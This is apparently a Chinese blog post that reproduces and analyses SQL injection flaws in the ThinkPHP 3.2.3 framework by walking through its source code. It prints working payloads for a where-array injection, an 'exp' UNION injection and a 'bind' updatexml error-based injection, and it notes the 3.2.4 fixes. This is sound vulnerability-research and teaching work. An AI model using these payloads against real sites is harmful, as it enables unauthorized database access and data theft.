thinkphp3.2.3 SQL注入漏洞复现
前言
具体代码可以composer或者github或者一些其他网站上下载。
然后本地创建一下数据库,改一下数据库的配置,在ThinkPHP/Conf/convention.php
下面:
由于比较懒,我直接用sqli-labs的数据库了,在IndexController.class.php里面写个查询:
class IndexController extends Controller {
public function index(){
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
}
tp3内置的几种方法:
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
比如I方法,看着就有点像tp5的input方法。
分析:正常的SQL注入
正常的SQL注入肯定就是?id=1' or 1=1%23
这样的,而常识就是这样很普通的SQL注入在thinkphp里面是不行的,至于为什么不行我之前也没有真正的去了解过,这次先看代码分析一下为什么不能SQL注入,再复现那些payload。
传参:?id=1' or 1=1%23
,先进入I方法,很多不影响参数的代码就不解释了。在I方法中,这里获取到filter:
经过前面的代码,$input
是$_GET
,$name
是id。默认的filter是htmlspecialchars()
,而这个函数默认是不转义单引号的。然后就是在这里过滤:
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
因为传的id也不是array,所以是$filter($data)
。处理后就无影响了,最终返回:
I方法结束,开始进入find方法。在find方法中调用了这个_parseOptions()
:
单引号也是经过了这个函数处理后被转义的,跟进一下,在_parseOptions()
里面的这里调用了_parseType()
函数,处理$options['where']
,继续跟进:
在_parseType()里面注意到对类型进行了解析,然后处理。
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
如果数据库那边的id列是int的话,也不需要转义了,直接intval()
处理一波,也就没了。为此我把数据库那边的id列改成了varchar,继续跟进,进入find()函数的这里:
查询的结果也就是在这里查到的,跟进入,发现这个select方法是abstract class Driver
的,跟进一下:
是在947行查询得到结果,在946行进行sql语句的拼接,发现945行的时候还没被转义,946行就被转义了,因此跟进buildSelectSql()
方法:
第一个if判断没啥用,跟进一下966行的parseSql()
:
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
对原初的SQL语句进行替换,我们这里构造的id在where那里,跟进一下parseWhere()
,进入的是这个语句,对where子单元进行分析:
再跟进,发现进入了parseValue(),再跟进:
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
第一个if条件判断成功,进行这个处理'\''.$this->escapeString($value).'\''
,看一下escapeString
:
给单引号转义了。因为没法绕过单引号的转义,所以常规的注入是不行的。
过程可能很水,因为我把这一路上的代码都审一遍后挑着这些重点路径写的。不过有一个点需要注意,就是这一路过来有很多处判断是不是array的地方,因为这里传的id是字符串,因为都没法跟进那些代码。而且经过我审计,单纯的传字符串,这一路上也没什么可以逃逸的点,基本不可能SQL注入了,因此就要考虑一下id传数组,看看tp对于处理数组的代码里是否有可以利用的点。
此外还有一个地方需要注意,如果id列是int的话,最终的where语句是where id=1
,如果是varchar的话,是where id ='1'
。既然单引号没法逃逸的话,如果查询的列本来就是int,没有单引号呢?前面提到了} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) { $data[$key] = intval($data[$key]);
,会intval而没法注入,是否可以绕过呢?
payload1
尝试id传数组:?id[where]=1
,跟一下看看这一路的代码和传字符串有什么不一样。
在I方法里基本没什么区别,主要是这里:
注意$data是array('where'=>'1')
。对它的每个成员使用think_filter
函数:
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
那过滤扫一眼,第一反应就是没ban掉and,而且感觉ban的东西不多,感觉可以注,不过还是继续跟进,看看后面的处理。进入find()
函数,$options
是这个:
和之前的区别在哪?之前的$options
是
$options=array(
'where'=>array(
'id'=>'1'
)
);
现在是
$options=array(
'where'=>'1'
);
感觉好像区别不大,继续跟进,执行进入_parseOptions()
函数里面,一个很重要的地方:
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
}
unset($options['where'][$key]);
}
}
}
需要进入_parseType()
后才intval,但是注意这个if判断is_array($options['where']
不满足了,因此压根这个大的if判断都进不去。因此这里就成功的绕过了,在id列是int的情况下可以不被intval。但是到底能不能成功SQL注入,还需要继续跟进。一直执行到这里:
继续跟进,sql语句在buildSelectSql
里面拼接成,跟进。
老样子,再进入parseWhere
。但是这次不一样了
$where
这里是字符串了,因此$whereStr
直接就是这个字符串本身。最终返回的是这个:
因此拼接过来就是WHERE 1
,而且并没有什么单引号的过滤,最终拼接的是这样:
SELECT * FROM `users` WHERE 1 LIMIT 1
可以SQL注入了。试试:?id[where]=id=2
注入成功,但是考虑到之前的那个think_filter
:
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
本来以为会在注入上受限,但是实际注成功了:
想了一下突然发现这个正则有问题,它有^
,匹配的是以exp,or这些开头的字符串,我们的payload并没有以这个开头啊,所以这个正则其实锤子用没有,可能其他的查询语句有用?因此后面直接拼接SQL注入语句即可。
至于id列是varchar这样的话,并没有任何的影响,结果相同,因为拼接的就是WHERE xxx
,并没有添加单引号了。所以id列的类型无影响。
3.2.4的修复:
对$this->options
进行操作,而不是$options
。
payload2 exp注入
index方法改一下:
public function index(){
$User = D('Users');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);
}
先给出payload,便于理解:
?username[0]=exp&username[1]==-1 union select 1,2,3
不同之处就在于这里是先where
方法,再find()
,之前是先I方法再find。还有就是之前用I方法获取变量,这里用$_GET
,为什么用$_GET
最后会提到。
先跟进一下where方法,只有这三句代码发挥作用:
把这个数组array('username' => $_GET['username'])
传给了$this->options['where']
,继续跟进到find方法,和之前的区别就是到了这里,$options
只有一条limit:
但是进入_parseOptions
后,合并数组后和之前一样了:
在select方法之前也没什么区别了,因为这里:
if (is_scalar($val)) {
不成立,所以也不会进入。
跟进select方法后,再跟进buildSelectSql方法,再跟进parseSql方法,再跟进parseWhere方法,一直都无区别,关键在parseWhereItem方法:
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}
正常$val
都是admin
这样的字符串,如果传了数组呢?继续审计,注意这个:
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
这里$exp
是$val[0]
。因此传?username[0]=exp的话,最终的sql语句会是这样:
select * from users where `username` $val[1] limit 1
可以SQL注入:
?username[0]=exp&username[1]==-1 union select 1,2,3
至于为什么不用I方法得到get参数,就是因为前面提到的那个think_filter的过滤,过滤了以exp开头的情况,因此不能I方法,需要用$_GET
来获得。
payload3 bind注入
index方法这样写:
public function index(){
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$value = $User->where($user)->save($data);
var_dump($value);
}
payload:
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
首先通过I方法获得参数,然后是where,这些都没什么影响,进入save()
。在save方法里面,还是照常进行_parseOptions
,把$this->options
给$options
。
然后进入到这里,update方法:
在这里产生部分SQL语句和绑定参数,就是预编译了。。
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤非标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}
关键是这里:$this->bindParam($name,$val);
之前$this->bind
为空,所以$name = count($this->bind);
,$name
是0。而$val
是这样得来的:
因此$val
是1,最终绑定参数是这样:
后面就会用到了。经过这一步后,产生这样的sql语句:
然后就是sql语句再拼接where部分处理后的语句。
这部分很熟了,主要的利用就是最后这里:
和exp注入最终产生的效果那样,bind注入会产生绑定参数。最终出来的sql语句是这样:
UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)
处理后进入最终的excute:
绑定参数的处理是在这里:
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
看一下逻辑,这里创建了一个闭包,然后调用array_map
,对$this->bind
这个数组中的每个参数都调用这个闭包。可以认为处理前$this->bind
是这样:
array(":0"=>"1");
处理后是这样:
array(":0"=>"'1'");
然后调用strtr
函数处理$this->queryStr
语句,即这个:
UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)
会把:0
替换成1,因此这也是为什么id[1]
这个GET参数值以0开头的原因。处理好SQL语句变成这样:
UPDATE `users` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)
然后执行语句,成功SQL注入。
修复的方式也很简单,就是把bind给过滤了就行:
总结
最后的bind注入很有意思的思路,通过这次复现,学习到了很多东西。也感谢这个大师傅的文章,跟着他的文章复现的,也学习到了很多:
Thinkphp3 漏洞总结
更多推荐
所有评论(0)